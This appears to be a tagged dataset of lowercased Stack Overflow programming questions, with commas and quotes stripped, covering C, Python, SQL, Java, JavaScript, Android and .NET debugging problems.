c simple spell check  i have the following code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;ctype.h&gt;  int main(int argc  char **argv){     char c  word[100]  dictionary[100];     int h k = 0  l = 0  size  i  right = 11  counter = 0;     char letter[2] = {0};     file * file = fopen(argv[1]   r );     file * dictionaryfile = fopen( american    r );     printf( misspelled words in %s\n   argv[1]);     while(fscanf(file   %s   word) != eof){         counter = 0;         k = 0;         while(fscanf(dictionaryfile   %s   dictionary) != eof){             l = 0;             for(i = 0; i &lt; strlen(word) - counter; i++){                 if(ispunct(word[i])){                     counter++;                 }              } //here             while(word[k]){                 word[k] = tolower(word[k]);                 k++;             }             while(dictionary[l]){                 dictionary[l] = tolower(dictionary[l]);                 l++;             }             size = strlen(word) - counter;             word[size] =  \0 ;             right = strcmp(word  dictionary);              if(right &gt; 0 || right &lt; 0){                 if(word[size - 1] ==  s  || word[size - 1] ==  s ){                     word[size - 1] =  \0 ;                     right = strcmp(word  dictionary);                     if(right &gt; 0 || right &lt; 0){                     } else {                         counter++;                     }                 }             }else{                 counter++;             }          }          if(counter == 0){             printf( %s\n   word);         }     }     fclose(dictionaryfile);     fclose(file); return 1; } </code></pre>   i am taking a single command line argument which is my file with the sentence or words to check. i then check them against a file named  american  which is a dictionary file. i know there are probably quite a few errors which i can figure out  the problem i am having is a segmentation fault as it gets the the second word of the file. i tested the fscanf and it displayed every word separated by white space and did it correctly but now i am getting a seg fault after the first word. i have just a simple test file that says    <pre><code>hello tsting this checkr tests test. </code></pre>   i get a seg fault when going from hello to tsting. as i said i can almost guarantee that fixing the seg fault the code will still have errors  at this point i can deal with those errors i just need to get over this seg fault. i had it working without a seg fault right before i added the counter++ in the else statements. i need them and i don t see why they would be causing errors.,c
on the starting angle of the double slider circle  <a href= https://i.stack.imgur.com/gou5v.png  rel= nofollow noreferrer >to realize the starting angle  and the end angle of the double slider circle</a>,ios
how to use class methods as callable function  i m running a gradient checking in python as following:   <pre><code>class neuralnetwork:     def gradient_checking(self):         m = 5         theta1 = debuginitializeweights(self.size[1]  self.size[0])         theta2 = debuginitializeweights(self.size[2]  self.size[1])         thetas = vectorize([theta1  theta2]  self.size)          x = debuginitializeweights(m  self.size[0] - 1)         y = 1 + np.mod(np.array(range(m))  3)          return scipy.optimize.check_grad(self.cost  self.grad  thetas  [x  y])   </code></pre>   where the signature of class methods are:   <pre><code>def cost(self  thetas  x  label):    def grad(self  thetas  x  label): </code></pre>   however when running the gradient checking it is saying that    <pre><code>file  /home/andrey/data/hacking/ml/coursera_andrew/neuralnetwork.py   line 142  in gradient_checking     return check_grad(self.cost  self.grad  thetas  [x  y])   file  /usr/local/lib/python2.7/dist-packages/scipy/optimize/optimize.py   line 656  in check_grad     return sqrt(sum((grad(x0  *args) - typeerror: grad() takes exactly 4 arguments (3 given) </code></pre>   how can i fix this error,python
app call guide access  i want to call guide access so that user only use my app. please give me some information(links) about this function if you have experience.    i searched on www  while looks like there are some issues. please help.,ios
encountering error cannot seem to fix  i have the following code    <pre><code>select dbo.col_v_cost_gems_detail.tng_sys_nr as [ehp code]          dbo.col_tbl_vcourse_new.tng_na as [course title]         dbo.col_tbl_vcourse_new.fct_typ_cd &amp; dbo.col_tbl_vcourse_new.dep_typ_cd as [course owner]          dbo.col_tbl_vcourse_typ.tng_desc as [type of training]          dbo.col_v_cost_gems_detail.job_fct_cd          dbo.col_v_cost_gems_detail.job_grp_cd          dbo.col_v_cost_gems_detail.st_cost_sum + dbo.col_v_cost_gems_detail.in_cost_sum as [total cost]          sum(dbo.col_v_cost_gems_detail.students) as sumofstudents          sum(dbo.col_v_cost_gems_detail.instructors) as sumofinstructors         sum(dbo.col_v_cost_gems_detail.st_hours_sum) as st_hours         sum(dbo.col_v_cost_gems_detail.st_cost_sum) as st_cost          sum(dbo.col_v_cost_gems_detail.in_hours_sum) as in_hours          sum(dbo.col_v_cost_gems_detail.in_cost_sum) as in_cost from  dbo.col_v_cost_gems_detail inner join  dbo.col_tbl_vcourse_new        on dbo.col_v_cost_gems_detail.tng_sys_nr = dbo.col_tbl_vcourse_new.tng_sys_nr              inner join dbo.col_tbl_vcourse_typ        on dbo.col_tbl_vcourse_new.tng_mda_typ_cd = dbo.col_tbl_vcourse_typ.tng_typ where (dbo.col_v_cost_gems_detail.rrdd not like  %12% )         and         (dbo.col_v_cost_gems_detail.rrdd not like  %13% )         and         (dbo.col_v_cost_gems_detail.rrdd not like  %2706% )         and         (dbo.col_v_cost_gems_detail.rrdd not like  %2707% )        and         (dbo.col_v_cost_gems_detail.rrdd not like  %2331% ) group by dbo.col_v_cost_gems_detail.tng_sys_nr            dbo.col_tbl_vcourse_new.tng_na            dbo.col_tbl_vcourse_new.fct_typ_cd &amp; dbo.col_tbl_vcourse_new.dep_typ_cd                    dbo.col_tbl_vcourse_typ.tng_desc            dbo.col_v_cost_gems_detail.job_fct_cd           dbo.col_v_cost_gems_detail.job_grp_cd            dbo.col_v_cost_gems_detail.st_cost_sum +            dbo.col_v_cost_gems_detail.in_cost_sum </code></pre>   and i keep getting the error   <pre><code>msg 402  level 16  state 1  line 1 the data types nvarchar and nvarchar are incompatible in the boolean and operator. </code></pre>   no matter what changes i make i cannot seem to get rid of this error. at first i thought it would be the data types but they are all fine  and i thought it was some of the symbols but replacing those did not work either.,sql
convert from arraylist to 2d array (return reference)  i have a problem converting from arraylist to a 2d array.    in this code the return value is the reference not value    <pre><code>public int[][] convertto2d(java.util.list&lt;arraylist&lt;integer&gt;&gt; arraylist){      int listsize = arraylist.size();     int[][] darr = new int[listsize][];     for(int i = 0; i &lt; listsize; i++) {         arraylist&lt;integer&gt; sublist = arraylist.get(i);         int sublistsize = sublist.size();         darr[i] = new int[sublistsize];         for(int j = 0; j &lt; sublistsize; j++) {             darr[i][j] = sublist.get(j);         }        // system.out.println(  );     }      return darr; }   </code></pre>   and the this is the output of return    <pre><code>[[i@5b273190  [i@740ac748  [i@314e4266  [i@1ea46732  [i@7ced7ec7  [i@5effd695] </code></pre>   how can i fix that,java
acess response outside function angularjs  how can i access response object outside function in angularjs and use outside function.   <pre><code>$http.get( secure/cases/ +caseid).success( function(response) {             $scope.data = response;         }); </code></pre>   //and use here response   <pre><code>  var single_object = $filter( filter )(response.correspondences  function (d) {return d.id;}) </code></pre>   thank you.,angularjs
what is the difference between hh and hh in dateformatting in sql   when formatting my time i get different results depending on the use of hh or hh.    can someone tell me why this happens  the problem occurs with the following code  returning a null on the 2nd result.   <pre><code>declare @timepart time = getdate()  declare @datetime datetime2(7) = getdate()  select format(@timepart   hh\:mm )  format(@timepart   hh\:mm )  format(@datetime   hh\:mm )  format(@datetime   hh\:mm ) </code></pre>,sql
change the color of navigation bar of uinavigationcontroller  i m trying to change the color of navigation bar of uinavigationcontroller by using    <pre><code>self.navigationcontroller.navigationbar.tintcolor = [uicolor browncolor];    </code></pre>   in the below given code but its not working.   <pre><code> #import  uitextviewappdelegate.h   #import  uitextviewviewcontroller.h   @implementation uitextviewappdelegate  @synthesize window = _window; @synthesize viewcontroller = _viewcontroller; @synthesize navigationcontroller = _navigationcontroller;  - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions { self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];  // override point for customization after application launch. self.viewcontroller = [[uitextviewviewcontroller alloc] init];  uinavigationcontroller *navigationcontroller=[[uinavigationcontroller alloc] init];  self.navigationcontroller.navigationbar.tintcolor = [uicolor browncolor];    [navigationcontroller pushviewcontroller:_viewcontroller animated:yes];  [_window addsubview:navigationcontroller.view];  self.window.rootviewcontroller = self.viewcontroller;  [self.window makekeyandvisible];  return yes; } </code></pre>   can anyone tell why it is not changing the color of the navigation bar of the uinavigation controller.    thanks in advance.,iphone
how to set an offset when opening an accordion panel  when opening the accordion the page places the open accordion panel to the top of the page.  i have a fixed header though  so the top of the panel is hidden.  from looking around i m under the impression i need to set an offset through .scrolltop.    i m unsure where .scrolltop needs to go in my code.  could anyone please direct me to where i need to insert .scrolltop.   <pre><code>jquery(document).ready(function ($) { var hash = window.location.hash; $(hash).slidedown(500).addclass( open ); $(hash).prev( .page-template-services-solutions .accordion-section-title ).addclass( active );  function close_accordion_section() {     $( .page-template-services-solutions .accordion .accordion-section-title ).removeclass( active );     $( .page-template-services-solutions .accordion .accordion-section-content ).slideup(500).removeclass( open ); }  $( .page-template-services-solutions .accordion-section-title ).click(function(e) {      // grab current anchor value     var currentattrvalue = $(this).attr( href );      if($(e.target).is( .active )) {         close_accordion_section();     }else {         close_accordion_section();          // add active class to section title         $(this).addclass( active );         // open up the hidden content panel         $( .page-template-services-solutions .accordion   + currentattrvalue).slidedown(500).addclass( open );     } }); </code></pre>   });,jquery
connecting to database in java problems  i have a table employee in my oracle database and i connected it with java. when i add info in it works but when i try to get info it gives old information(which i deleted already)  too . i am sure i connected the right database and closed connection. i think resultset stores the data. is it possible  thanks    <pre><code>    public static connection getconnection(){      connection connection = null;      try {         class.forname( oracle.jdbc.driver.oracledriver );      }      catch (classnotfoundexception e) {                 system.err.println (e) ;                 system.exit (-1) ;     }      try {            connection = drivermanager.getconnection(             jdbc:oracle:thin:@127.0.0.1:1521:orcl               mamur               mamur           );     }      catch (java.sql.sqlexception e) {         system.err.println (e) ;         system.exit (-1) ;     }      return connection;     } </code></pre>  <hr>  <pre><code>         public string [] getstudents(string query) throws sqlexception{      connectionclass con = new connectionclass();     connection = con.getconnection();                     statement = connection.createstatement();             resultset rs = statement.executequery(query);                 while(rs.next()){                 list.add(rs.getstring(1) +     + rs.getstring(2));             }                                     rs.close();      string [] arr = new string [list.size()];      list.toarray(arr);           return arr; }    </code></pre>   and i set the result jlist,java
what s wrong with the ranges for my variable   i have almost zero experience with programming but i have to write a simple c program which calculates the specific heat (cp) as a function of temperature t. the temperature range is split in smaller ranges in order to get accurate values for cp.   <pre><code>#include &lt;stdio.h&gt;   #include &lt;math.h&gt;  int main() {         float t  cp1  cp2  cp3  cp4  cp5  cp6  cp7  cp8;                     /*variables */        printf(  please enter temperature in kelvin\n  );  /* asks for temperature */     scanf(  %f   &amp;t );      cp1=1.67662377469456e-11*pow(t 6.)-4.1197828092268e-08*pow(t 5.)+0.0000418869586791152*pow(t 4.)-0.0225003443462658*pow(t 3.)+6.72987826198519*pow(t 2.)-1062.18721205927*t+73195.8387080729;     cp2=0.00525246395569212*pow(t 4.)-12.9485474717992*pow(t 3.)+11970.600895997*pow(t 2.)-4918448.82178862*t+757825839.152518;     cp3=6.63085194968153*pow(t 4.)-17170.4000395659*pow(t 3.)+16673480.6519115*pow(t 2.)-7196031423.69135*t+1164647463146.08;     cp4=-68.0819524480029*pow(t 5.)+222554.556013276*pow(t 4.)-291004129.724188*pow(t 3.)+190252342532.153*pow(t 2.)-62191220562433.3*t+8131793672657510;     cp5=9974.74747475981*pow(t 3.)-19674382.9004572*pow(t 2.)+12935329616.4157*t-2834856258114.32;     cp6=-4.14962557364299e-07*pow(t 6.)+0.000462300031790556*pow(t 5.)-0.0310330512189478*pow(t 4.)+62.8598088326175*pow(t 3.)-189691.032172151*pow(t 2.)+77129922.3433911*t-4056849697.67083;     cp7=1.47773054803578e-08*pow(t 6.)-0.0000239186385308144*pow(t 5.)+0.00563616606939476*pow(t 4.)+1.50391266948934*pow(t 3.)+9118.7111011683*pow(t 2.)-8897122.07353999*t+2172208386.41784;     cp8=-4.6626284146362e-08*pow(t 5.)+0.000192659539297423*pow(t 4.)-0.318404373982708*pow(t 3.)+263.141418952148*pow(t 2.)-108775.736711323*t+18001673.992402;       if (t&gt;=280. &amp;&amp; t&lt;=599.9) {                      /* 1st temp range !!! if 599.9 is entered  the program calculates cp2 instead of cp1*/          printf ( 1st range cp= %.6f j/kgk  cp1);                    /* returns cp1 */     }     else if (t&gt;599.9 &amp;&amp; t&lt;=646.8) {            /* 2nd temp range */          printf( 2nd range cp= %.6f j/kgk  cp2);                 /* returns cp2 */     }     else if (t&gt;646.8 &amp;&amp; t&lt;=651.2) {            /* 3rd temp range !!! if 651.2 is entered  the program calculates cp4 instead of cp3*/          printf( 3rd range cp= %.6f j/kgk  cp3);                 /* returns cp3 */     }     else if (t&gt;651.2 &amp;&amp; t&lt;=655.8) {            /* 4th temp range */          printf( 4th range cp= %.6f j/kgk  cp4);                 /* returns cp4 */     }     else if (t&gt;655.8 &amp;&amp; t&lt;=656.6) {            /* 5th temp range */          printf( 5th range cp= %.6f j/kgk  cp5);                 /* returns cp5 */     }     else if (t&gt;656.6 &amp;&amp; t&lt;=662.) {            /* 6th temp range */          printf( 6th range cp= %.6f j/kgk  cp6);                 /* returns cp6 */     }     else if (t&gt;662. &amp;&amp; t&lt;=700.) {            /* 7th temp range */          printf( 7th range cp= %.6f j/kgk  cp7);                 /* returns cp7 */     }     else if (t&gt;700. &amp;&amp; t&lt;=900.) {            /* 8th temp range */          printf( 8th range cp= %.6f j/kgk  cp8);                 /* returns cp8 */     }     else {         printf( cp= 4180 j/kgk );     /* executed if no other statement is */     }    return 0; } </code></pre>   the code may not be elegant but it works except for the 1st range and the 3rd range.    for the first range   <pre><code>if (t&gt;=280. &amp;&amp; t&lt;=599.9) {                      /* 1st temp range if 599.9 is entered  the program calculates cp2 instead of cp1*/          printf ( 1st range cp= %.6f j/kgk  cp1);                    /* returns cp1 */     } </code></pre>   if i enter t equal to 599.9 the calculation for value cp is done with the equation cp2 instead of cp1. the same happens for the 3rd temperature range. if i enter t equal to 651.2  cp is calculated with cp4 instead cp3. i don t understand why. the rest works just fine. the code is compiled with portable dev-c++ 5.11.    thanks,c
2 scripts cancelling each other out  solved: removing all reference to noconflict fixed the issue    i have 2 scripts (part a and part b) which work perfectly on there own to do 2 separate tasks. when i put them both on the one page  one cancels the other out. any help appreciated.   <pre><code>// part a var $j = jquery.noconflict(); jquery(function ($j) {  var image_slides = [];  image_slides.push({ image:  img/background.jpg  })  $j.supersized({  min_width: 0  min_height: 0  vertical_center: 1  horizontal_center: 1  fit_always: 0  fit_portrait: 1  fit_landscape: 0  slides: image_slides  }); });   // part b function cent() { var $block = $( #block )      margintop = parseint($block.height() / -2); console.log( called ); $( #block ).css( margin-top   margintop); };  $(document).ready(function(){ cent(); }); $(window).resize(function(){ cent(); }); </code></pre>,jquery
passing variable  hi i ve got an question about passing variables via nsobject into the rootviewcontroller.    i ve got 2 .h and .m files ( called viewcontroller.m/h and secondviewcontroller.m/h ).    underneath a little example for what i m trying to do.    secondviewcontroller.m   <blockquote>    -(nsstring *) mystring{       <blockquote>      return @ this is a string ;    </blockquote>       }  </blockquote>   secondviewcontroller.h    <blockquote>    @interface secondviewcontroller : nsobject        <blockquote>      -(nsstring *) mystring;    </blockquote>       @end  </blockquote>   how am i be able to pass this variable into viewcontroller.m      i ve read a lot on google but most of the implementations where wrong or my research is just bad xd,objective-c
working on a code but the calculations do not work  so i am working on this code and i cannot seem to be able to combine the radio button amounts with the inputted amount in the textbox. the submit button is supposed to calculate. here is the question  i am suppose be creating this code for. many companies normally charge a shipping and handling fee for purchases. create a web page that allows a user to enter a purchase price into a text box;     include a javascript function that calculates shipping and handling.     add functionality to the script that adds a minimum shipping and handling fee of $1.50 for any purchase that is less than or equal to $25.00.     for any orders over $25.00  add 10% to the total purchase price for shipping and handling  but do not include the $1.50 minimum shipping and handling fee.     the formula for calculating a percentage is price * percent / 100. for example  the formula for calculating 10% of a $50.00 purchase price is 50 * 10 / 100  which results in a shipping and handling fee of $5.00.     after you determine the total cost of the order (purchase plus shipping and handling)  display it in an alert dialog box this is the code i have so far. any tips would be helpful. i can not figure out what i am doing wrong or how to fix it.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;calculate shipping&lt;/title&gt;  &lt;script type= text/javascript &gt; /* &lt;[cdata[ */  var  price=[]; var shipping=[]; var total=price+shipping;  function calculateshipping(){     var price = parsefloat(document.getelementbyid( ent ).value);     var total = (price &lt;=25)   price +1.50 : 1.1 * price;     window.alert( the purchase price with shipping is $  + total.tofixed(2)); }  function calculateshipping(){     if (price &lt;=25){         shipping = (price =1.25);     }     else{         shipping = (price *10/100);     }      window.alert( the purchase price with shipping is       +document.calculate.ent.value);  }  /*]]*/ &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt; &lt;form name = calculate  action=  &gt; &lt;p&gt; enter purchase price &lt;/p&gt; &lt;input type= text  name= ent  /&gt; &lt;input type= button  name= button  value= submit  onclick= calculateshipping() /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
how to add contacts into contact group in android  <strong>can i add contact directly in to contact groups. if it is possible share the code to me. also        share the code insert into contact alone.</strong>,android
libavcodec/opt.h: no such file or directory  i trying to compile a project using ffmpeg but it s giving this error of libavcodec/opt.h missing.    i take a look at the source directory and i don t think there s a file called opt.h.    the error seems a bit strange.     the project of ffmpeg for android. the opt.h put into the libavutil folder. yet when i try build it  it complains of missing opt.h in libavcodec –,android
jquery - looping through the list of employees in employee directory  i have embedded a javascript/jquery in the xsl page. the javascript code iterates through the available employee list in the employee directory of sharepoint page. when a particular field matches a value  then a necessary action is taken on the page to display at the top.    <pre><code>below is the code for that:  &lt;xsl:text disable-output-escaping= yes &gt;      &lt;![cdata[      &lt;!-- javascript injected by peoplesearch.xsl. this script waits for the peoplesearch output to render           then  --&gt;           &lt;script type= text/javascript  src= /siteassets/jquery-1.11.3.min.js &gt;&lt;/script&gt;           &lt;script type= text/javascript &gt;     // list of titles held by dept/lab heads. this will be used to     // identify those heads and move them to the first position in the     // people list     var managertitles = [ a    b ];      $(document).ready(function() {         var personindex = 0;          // iterate each person         $( .psrch-fullresult ).each(function(index){                         // get that person s job title                  var jobtitle = $( #jobtitlefield   this).text();                  // if the job title is in the list of managertitles  make this person the first in the list if                 // they re not aready first                 if($.inarray(jobtitle  managertitles) &gt;= 0) {                     // if they re not first in the list  move them there                      if(personindex &gt; 0) {                         // move the manager to first                         $(this).insertbefore($( .psrch-fullresult:first ));                     }                      // insert a block div to create a line break after the manager                     $( &lt;div style= display:block;clear:both; &gt;&lt;/div&gt; ).insertafter($( .psrch-fullresult:first ));                      //removed this line due to need for multiple heads of a dept -- return false;//leave the .each iterator                 }              personindex++;      });     });     &lt;/script&gt;      ]]&gt;      &lt;/xsl:text&gt;  below is the field declaration in sharepoint 2010     &lt;xsl:if test= $hasjt &gt;                       &lt;li id= jobtitlefield &gt;                         &lt;xsl:apply-templates select= hithighlightedproperties/jobtitle  /&gt;                       &lt;/li&gt;                     &lt;/xsl:if&gt;   but when i try to fetch the value using the code </code></pre>   <strong>var jobtitle = $( #jobtitlefield   this).text();</strong>    it always retrieves the first value only and does it not change for all the employees. but the looping is happening perfect. any suggestions would be helpful.,jquery
is oop possible in javascript   i recently found out that javascript function can have classes  so i was wondering if oop is also possible through javascript. is it  if yes  could you please point out some tutorials or site  where i can start with,javascript
async functions with static classes  i have a static class that contains a dictionary of file extensions and bitmapsource objects. that class contains a function that given a fileinfo object will return the associated bitmapsource object  if it s not already in the dictionary  it will get it and put it in the dictionary before returning it.<br> this works fine when executed from the gui thread. however  when i try to put it in a background thread i am not getting anything back. is there any reason that i shouldn t be able to execute this from a background thread     static class   <pre><code>namespace test.classes {   using system.collections.generic;   using system.drawing;   using system.io;   using system.windows;   using system.windows.interop;   using system.windows.media.imaging;    public static class iconmap   {     private static dictionary&lt;string  bitmapsource&gt; icondictionary = new dictionary&lt;string  bitmapsource&gt;();      public static bitmapsource getfileicon(fileinfo fileinfo)     {       if (icondictionary.containskey(fileinfo.extension))       {         return icondictionary[fileinfo.extension];       }       else       {         lock (icondictionary)         {           icon icon = icon.extractassociatedicon(fileinfo.fullname);           bitmapsource bitmapsource = imaging.createbitmapsourcefromhicon(icon.handle  new int32rect(0  0  icon.width  icon.height)  bitmapsizeoptions.fromemptyoptions());           icondictionary.add(fileinfo.extension  bitmapsource);           return bitmapsource;         }       }     }   } } </code></pre>   control.cs   <pre><code>namespace test.controls {   using system;   using system.diagnostics;   using system.io;   using system.threading.tasks;   using system.windows.controls;   using system.windows.input;   using system.windows.media.imaging;   using microsoft.office.interop.outlook;    public partial class attachedfileinfo : usercontrol   {     private fileinfo file;      public attachedfileinfo(fileinfo fileinfo)     {       this.initializecomponent();       this.file = fileinfo;        this.filelink.navigateuri = new uri(fileinfo.fullname);       this.filename.text = fileinfo.name;       this.loadfileicon(fileinfo);     }      private async void loadfileicon(fileinfo fileinfo)     {       task&lt;bitmapsource&gt; getfileicontask = task&lt;bitmapsource&gt;.factory.startnew(() =&gt;       {         // if i change this to bitmapsource icon = null; it works as expected.         bitmapsource icon = classes.iconmap.getfileicon(fileinfo);         return icon;       });       await getfileicontask;        this.fileicon.source = classes.iconmap.getfileicon(fileinfo);        // getfileicontask.result;     }      private void filelink_requestnavigate(object sender  system.windows.navigation.requestnavigateeventargs e)     {       process.start(this.file.fullname);     }   } } </code></pre>,c#
what are some top reasons to upgrade to .net 4.0   what are some top reasons to upgrade to .net 4.0,.net
does this javascript function return a boolean if the array variable is null   i working on a javascript code base and i keep seeing this coding style and it is confusing me.    <pre><code>var somearray = getsomearray(); var iteminarray = somearray &amp;&amp; somearray[ someitem ]; return iteminarray; </code></pre>   i m confused about the second line in the code. is this what it is doing  checking if somearray variable is not null and then returning an element inside the array  so what would it return if the somearray object was null,javascript
custom sorting for virtual listview with imagelist  <a href= http://msdn.microsoft.com/en-us/library/ms229643%28v=vs.90%29.aspx  rel= nofollow >tutorial</a> explains sorting of a list without icons.    icons are to be set in <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.listview.largeimagelist%28v=vs.90%29.aspx  rel= nofollow >listview.largeimagelist property</a> as <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.imagelist%28v=vs.90%29.aspx  rel= nofollow >imagelist</a> instance. <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.imagelist%28v=vs.90%29.aspx  rel= nofollow >imagelist</a> can be mapped by keys  but i can t find a way to associate an image key with <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.listviewitem%28v=vs.90%29.aspx  rel= nofollow >listviewitem</a> contained in the list.    should user of <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.listview%28v=vs.90%29.aspx  rel= nofollow >listview</a> reorder <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.imagelist%28v=vs.90%29.aspx  rel= nofollow >imagelist</a> with icons on sorting,.net
read and dispaly word by word from pdf using c#  automatically with time gap of 1 second in page  am having a pdf file. i need to read the content and display word by word from pdf  at a time gap of 1 second in page.     here am able to read the pdf content  i need to display word by word (single word at a time gap of second) (word per second) in one textbox or label. i need help at this point.    thank you.,c#
i am not sure why i am getting this output from my function  my function is supposed to take the user input of dollars and optionally pennies and convert it into all cents result. but for some reason the number i am getting is bigger than what the math should be producing. this is my code.   <pre><code>#include &lt;iostream&gt; using namespace std;  double numberofpennies(int dollars  int pennies = 0) {     int totalpennies = 0;     totalpennies = (dollars * 100) + pennies;     cout &lt;&lt; totalpennies;     return 0; }  int main() {     cout &lt;&lt; numberofpennies(5  6) &lt;&lt; endl; // should print 506     cout &lt;&lt; numberofpennies(4) &lt;&lt; endl; // should print 400     return 0; } </code></pre>   the output from this is 5060 and 4000. i am confused because 5 times 100 plus 6 should produce 506 like what the comments indicate. i am not sure why 5 times 100 and adding 6 gives the result of 506. mathmatically i can t see how i am wrong but perhaps there is a reason because of my code,c++
call onclick in laytout method from viewholder  i am getting the below error :   <pre><code>java.lang.illegalstateexception: could not find method onclick(view) in a parent or ancestor context for android:onclick attribute defined on view class android.support.v7.widget.appcompatbutton </code></pre>   i am calling the onclick below:   <pre><code>private class myviewholderheader extends recyclerview.viewholder {         private final recyclerview mheaderrecyclerview;         public void  onclick(view v)         {             intent intent = new intent(mcontext  xactivity.class);             mcontext.startactivity(intent);         }         public myviewholderheader(view v) {             super(v);              mheaderrecyclerview = (recyclerview) v.findviewbyid(r.id.recycler_view_horizontal);             headeritemsadapter madapter = new headeritemsadapter(getitemheader() mcontext);             linearlayoutmanager layoutmanager                     = new linearlayoutmanager(mcontext  linearlayoutmanager.horizontal  false);              mheaderrecyclerview.setlayoutmanager(layoutmanager);             mheaderrecyclerview.setadapter(madapter);         }     } </code></pre>   i have the below viewholder      in the oncreateviewholder   <pre><code>    view v =  layoutinflater.from(parent.getcontext()).inflate(r.layout.main_item_header  parent  false);      return new myviewholderheader(v); </code></pre>   edit    <pre><code>   private final view.onclicklistener monclicklistener = new view.onclicklistener() {         @override         public void onclick(final view view) {             intent intent = new intent(mcontext  ps4itemsactivity.class);             mcontext.startactivity(intent);         }     };   public recyclerview.viewholder oncreateviewholder(viewgroup parent  int viewtype) {     if (viewtype == type_item) {         //inflate your layout and pass it to view holder         view v = layoutinflater.from(parent.getcontext()).inflate(r.layout.main_item_adapter  parent  false);          mainitemsviewholder vh = new mainitemsviewholder(v  new mainitemsviewholder.imyviewholderclicks() {             public void onpotato(view caller) { log.d( vegetables    poh-tah-tos );                 intent intent = new intent(mcontext singleitemactivity.class);                 mcontext.startactivity(intent);             };             public void ontomato(imageview callerimage) {                 log.d( vegetables    to-m8-tohs );                   intent intent = new intent(mcontext ps4itemsactivity.class);                 mcontext.startactivity(intent);             }         });         return new myviewholder(v);     } else if (viewtype == type_header) {         //inflate your layout and pass it to view holder         view v =  layoutinflater.from(parent.getcontext()).inflate(r.layout.main_item_header  parent  false);         v.setonclicklistener(monclicklistener);          return new myviewholderheader(v);     }     throw new runtimeexception( there is no type that matches the type   + viewtype +   + make sure your using types correctly );  } </code></pre>,android
diamond of stars in c  i am trying to draw this diamond so that after the middle row  the rest of the diamond is shifted 3 spaces to the right  as though you were looking at it through a glass of water.  could you somehow modify the code below to incorporate this shift       the output should look something like:     <pre><code>     *     ***    *****   *******       *****        ***         *  </code></pre>   (but with up to 15 stars in the middle).<br> thanks!   <pre><code>define total_rows 15 int main() {   int row  col  numstars=1; int half  rate=1;  for (row=1; row&lt;=total_rows; row++) {      half=total_rows/2;      for (col=0; col&lt;half+1-numstars; col++)         printf(   );      for (col=1; col&lt;=2*numstars-1; col++)         printf( * );      if (numstars==(half+1))         rate = -rate;      numstars+=rate;      printf( \n );  }   return 0;  } </code></pre>,c
how to retrieve data from relation   <strong>post model</strong>   <pre><code>class post extends model {       public function comments()     {         return $this-&gt;hasmany( app\comment );     }      public function users()     {         return $this-&gt;belongsto( app\user );     } </code></pre>   <strong>comment model</strong>   <pre><code>class comment extends model     {      public function posts()     {         return $this-&gt;belongsto( app\post );     }      }   </code></pre>   <strong>user model</strong>   <pre><code>class user extends model {       public function posts()     {         return $this-&gt;hasmany( app\post );     } </code></pre>   now my question is how i can access all comments that belong to post with commented username  thank you in advance,php
load an angular app into a webpage and pass in server variables  i have a standalone angular js application that displays a table of data. i want to load thisapp on request in multiple places in my existing non angularjs web site. all the angular app needs to initialise is a userguid that i have in the page when i need to load the app  my problem is how to pass this into the angular app at load.    i have tried using <strong> bootstrap(document  [ myapp ]) </strong> but cannot se a way to pass the variable in  ideally i could do this <strong>bootstrap(document  [ myapp ]  variablehere);</strong>    i can make the app load by adding the userguid variable to window and receiving it from there but this seems horrible and tied to the app.    any help appreciated    thanks,angularjs
how to uninstall .net core 1.0.0 from mac   i installed .net core 1.0.0 on my mac from <a href= https://www.microsoft.com/net/core#macos  rel= noreferrer >microsoft .net core installation site</a>. i want to uninstall it. i could not find any steps online. please help.,.net
android - app crashed when adding too many images  my app needs to list texts and images for one particular activity. each row of the list has 2 columns - 1 for image and 1 for string.    it works if the number of images is small (ten or less). when it exceeds 10 (sometime 15)  the app will crash. how can make this work for more than ten images     below are the codes for listing the texts and images. the first 2 lines retrieve the data from strings.xml.  thanks.   <pre><code>            pic=res.obtaintypedarray(r.array.site_pic);             arr_site = getresources().getstringarray(r.array.site_name);       tablelayout tl = (tablelayout)findviewbyid(r.id.mytablelayout);      for(int i=0; i&lt;num_site; i++)     {          final tablerow tr = new tablerow(this);           tr.setlayoutparams(new layoutparams(                         layoutparams.fill_parent                          layoutparams.wrap_content));          tr.setpadding(0  10  0  10);           imageview iv = new imageview(this);          iv.setimagedrawable(pic.getdrawable(i));          iv.setadjustviewbounds(true);          iv.setmaxheight(80);          iv.setpadding(5  5  15  5);                       tr.addview(iv);           textview tv1 = new textview(this);          tv1.settext(arr_site[i]);          tv1.setlayoutparams(new layoutparams(layoutparams.fill_parent                   layoutparams.wrap_content));          tv1.setgravity(gravity.left);                     tr.addview(tv1);           tl.addview(tr new tablelayout.layoutparams(                  layoutparams.fill_parent                   layoutparams.wrap_content));                                 } </code></pre>,android
